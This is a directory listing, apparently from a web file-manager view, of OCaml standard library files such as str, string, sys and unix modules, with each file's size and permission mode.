stdlib.p.cmxa File 14.21 KB 0644
str.a File 85.78 KB 0644
str.cma File 97.61 KB 0644
str.cmi File 3.28 KB 0644
str.cmx File 4.52 KB 0644
str.cmxa File 559 B 0644
str.cmxs File 80.02 KB 0755
str.mli File 12.59 KB 0644
stream.cmi File 2.13 KB 0644
stream.cmx File 1.59 KB 0644
stream.mli File 3.77 KB 0644
stream.p.cmx File 1.59 KB 0644
string.cmi File 5.36 KB 0644
string.cmx File 3.53 KB 0644
string.mli File 13.8 KB 0644
string.p.cmx File 3.53 KB 0644
stringLabels.cmi File 5.47 KB 0644
stringLabels.cmx File 3.13 KB 0644
stringLabels.mli File 12.06 KB 0644
stringLabels.p.cmx File 3.13 KB 0644
sys.cmi File 3.8 KB 0644
sys.cmx File 673 B 0644
sys.mli File 10.06 KB 0644
sys.p.cmx File 673 B 0644
thread.mli File 5.75 KB 0644
threadUnix.mli File 3.94 KB 0644
topdirs.cmi File 1.58 KB 0644
topdirs.mli File 1.75 KB 0644
topfind File 1.62 KB 0644
uchar.cmi File 1.1 KB 0644
uchar.cmx File 1007 B 0644
uchar.mli File 2.69 KB 0644
uchar.p.cmx File 1007 B 0644
unix.a File 140.53 KB 0644
unix.cma File 145.53 KB 0644
unix.cmi File 25.4 KB 0644
unix.cmx File 12.13 KB 0644
unix.cmxa File 879 B 0644
unix.cmxs File 172.95 KB 0755
unix.mli File 63.8 KB 0644
unixLabels.cmi File 27.1 KB 0644
unixLabels.cmx File 10.99 KB 0644
unixLabels.mli File 55.63 KB 0644
weak.cmi File 3.68 KB 0644
weak.cmx File 1.43 KB 0644
weak.mli File 7.59 KB 0644
weak.p.cmx File 1.43 KB 0644
Filemanager